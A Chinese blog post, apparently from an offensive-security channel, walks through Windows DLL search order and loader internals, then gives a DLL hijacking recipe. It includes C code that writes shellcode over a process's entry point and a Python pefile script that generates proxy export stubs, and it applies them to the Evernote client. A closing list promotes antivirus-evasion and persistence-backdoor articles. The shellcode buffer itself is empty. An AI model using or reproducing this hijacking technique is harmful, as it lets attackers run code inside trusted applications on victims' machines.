Loadlibrary
的底层是LoadLibraryEx
HMODULE WINAPI LoadLibraryEx(
_In_ LPCTSTR lpFileName,
_Reserved_ HANDLE hFile,
_In_ DWORD dwFlags
);
第三个参数:
DONT_RESOLVE_DLL_REFERENCES
: 这个标志用于告诉系统将DLL映射到调用进程的地址空间中,但是不调用DllMain并且不加载依赖Dll(只映射自己本身)。
LOAD_LIBRARY_AS_DATAFILE
: 这个标志与DONT_RESOLVE_DLL_REFERENCES
标志相类似,因为系统只是将DLL映射到进程的地址空间中,就像它是数据文件一样。系统并不花费额外的时间来准备执行文件中的任何代码。
LOAD_LIBRARY_SEARCH_USER_DIRS
: 搜索路径的使用使用AddDllDirectory
和SetDllDirectory
设置的路径(保护Dll自己和依赖Dll)。
LOAD_LIBRARY_SEARCH_SYSTEM32
: 从%windows%\system32加载Dll和其依赖项。
LOAD_LIBRARY_SEARCH_APPLICATION_DIR
: 应用程序安装路径搜索Dll和其依赖项。
LOAD_WITH_ALTERED_SEARCH_PATH
: 按照如下目录搜索:
1. 进程当前目录
2. Windows的系统目录
3. 16 位Windows的系统目录
4. Windows目录
5. path环境变量目录
默认环境下LoadLibrary
按照以下目录搜索
1. 进程当前目录。
2. SetDllDirectory设置的文件夹路径。
3. Windows的系统目录。
4. 16 位Windows的系统目录。
5. Windows目录。
6. path环境变量目录。
SetDllDirectory
函数如下
跟到KernelBaseGetGlobalData
跟到0环可以发现,在转换之后可以得到路径
0:003> dd KERNELBASE!KernelBaseGlobalData
75b155a0 00000000 00000000 00160014 7f9a1240
75b155b0 00280026 7f9a1260 00000000 00000000
75b155c0 00000000 00e60000 75b156c0 7fff0000
75b155d0 00c4b494 0000011a 00cc1914 0000012c
75b155e0 00cb9f34 00000253 00cc2658 00cc5e20
75b155f0 00000000 00e84380 0000000f ffffffff
75b15600 ffffffff 00000000 00000000 00000000
75b15610 020007d0 75950000 00000000 00000000
0:003> du 7f9a1240
7f9a1240 "C:\Windows"
0:003> du 7f9a1260
7f9a1260 "C:\Windows\system32"
LoadLibraryExW
函数原型
HMODULE __stdcall LoadLibraryExW(LPCWSTR lpLibFileName, HANDLE hFile, DWORD dwFlags)
{
SearchPath = BaseGetProcessDllPath(
&dwFlags,
(chFlags & LOAD_WITH_ALTERED_SEARCH_PATH) != 0 ? DllName.Buffer : 0,
0,
(int)&dwFlags);
ntStatus = LdrLoadDll(SearchPath, (PULONG)&lpLibFileName, &DllName, &hFile);
}
首先通过BaseGetProcessDllPath
获取路径,然后调用LdrLoadDll
加载dll
NTSTATUS __stdcall LdrLoadDll(PWSTR SearchPath, PULONG LoadFlags, PUNICODE_STRING DllName, PVOID *BaseAddress)
{
//...
if ( SearchPath )
{
result = RtlInitUnicodeStringEx(&DestinationString, SearchPath);
if ( result < 0 )
return result;
NewSearchPath = &DestinationString;
}
else
{
NewSearchPath = &LdrpDefaultPath;
}
//...
v7 = LdrpLoadDll(DllName, (int)NewSearchPath, v6, 1, 0, (int)&DllName);
//...
return v7;
}
再调用LdrpLoadDll
int __stdcall LdrpLoadDll(PCUNICODE_STRING Source, int a2, int a3, char a4, int a5, int a6)
{
//...
if ( !LdrpInLdrInit )
RtlEnterCriticalSection(&LdrpLoaderLock);
//...
LdrpFindOrMapDll(*(PCUNICODE_STRING *)((char *)&v31 + 1), v29, a3, v27[0], (int)&v33, (int)&v31); //...
if ( v21 & 0x1000000 )
v22 = LdrpCorProcessImports((void *)v21, v33);
else
v22 = LdrpProcessStaticImports(v33, v29);
//...
LdrpRunInitializeRoutines(0);
//...
if ( !LdrpInLdrInit )
RtlLeaveCriticalSection(&LdrpLoaderLock);
}
通过分析函数,其流程如下
RtlEnterCriticalSection(&LdrpLoaderLock)
LdrpFindOrMapDll
加载dllLdrpRunInitializeRoutines
RtlLeaveCriticalSection(&LdrpLoaderLock)
在第4步运行LdrpRunInitializeRoutines
其实就是调用DllMain
,也就是说加载dll首先会加载锁,再调用DllMain
针对非LoadLibrary
而是从IAT表导入函数的程序,不能用导出函数的方法
导入表调用在程序执行开头,那么可以在解析PE头的时候调用 DLLMAIN
MODULEINFO moduleInfoe;
SIZE_T bytesWritten;
GetModuleInformation(GetCurrentProcess(), GetModuleHandle(NULL), &moduleInfoe,sizeof(moduleInfoe));
char EntryAddr[MAX_PATH] = { 0 };
_itoa_s((int)moduleInfoe.EntryPoint, EntryAddr, 10);
unsigned char shellcode[] = "";
int shellcode_size = 1024;
HANDLE currentProcess = GetCurrentProcess();WriteProcessMemory(currentProcess, moduleInfoe.EntryPoint, (LPCVOID)&shellcode, shellcode_size, &bytesWritten);
导入表函数格式
#pragma comment(linker, "/EXPORT:cef_string_list_append=cef_string_list_append,@1")
EXTERN_C __declspec(naked) void __cdecl cef_string_list_append(void){}
手动写导入太麻烦,借助python的PEfile
库直接读取导入表中的函数
https://github.com/erocarrera/pefile
首先定位判断dll名称
pe = pefile.PE(module_name)
for importeddll in pe.DIRECTORY_ENTRY_IMPORT:
DllName = str(importeddll.dll,encoding = "utf-8")
if(DllName != target_dll):
continue
然后获取导入表的函数
for importedapi in importeddll.imports:
print(importedapi.name)
FunctionName = str(importedapi.name,encoding = "utf-8")
获取到函数之后按照格式输出
tamplate += """#pragma comment(linker, "/EXPORT:%s=%s,@%s")\n""" % (FunctionName,FunctionName,i)
\tamplate += """EXTERN_C __declspec(naked) void __cdecl %s(void){}\n""" % (FunctionName)
以印象笔记下的文件为例,其用的方法是从IAT表中导入函数,直接运行会显示缺dll
这里使用脚本获取所有的导出函数
得到a1.c
的源文件,可以看到已经将导出函数声明到了源文件里面
然后将shellcode填充到相应位置
再使用gcc编译成dll
双击即可完成IAT类型的dll劫持
加下方wx,拉你一起进群学习
往期推荐
什么?你还不会webshell免杀?(十)
PPL攻击详解
绕过360核晶抓取密码
什么?你还不会webshell免杀?(十)
64位下使用回调函数实现监控
什么?你还不会webshell免杀?(九)
一键击溃360全家桶+核晶
域内持久化后门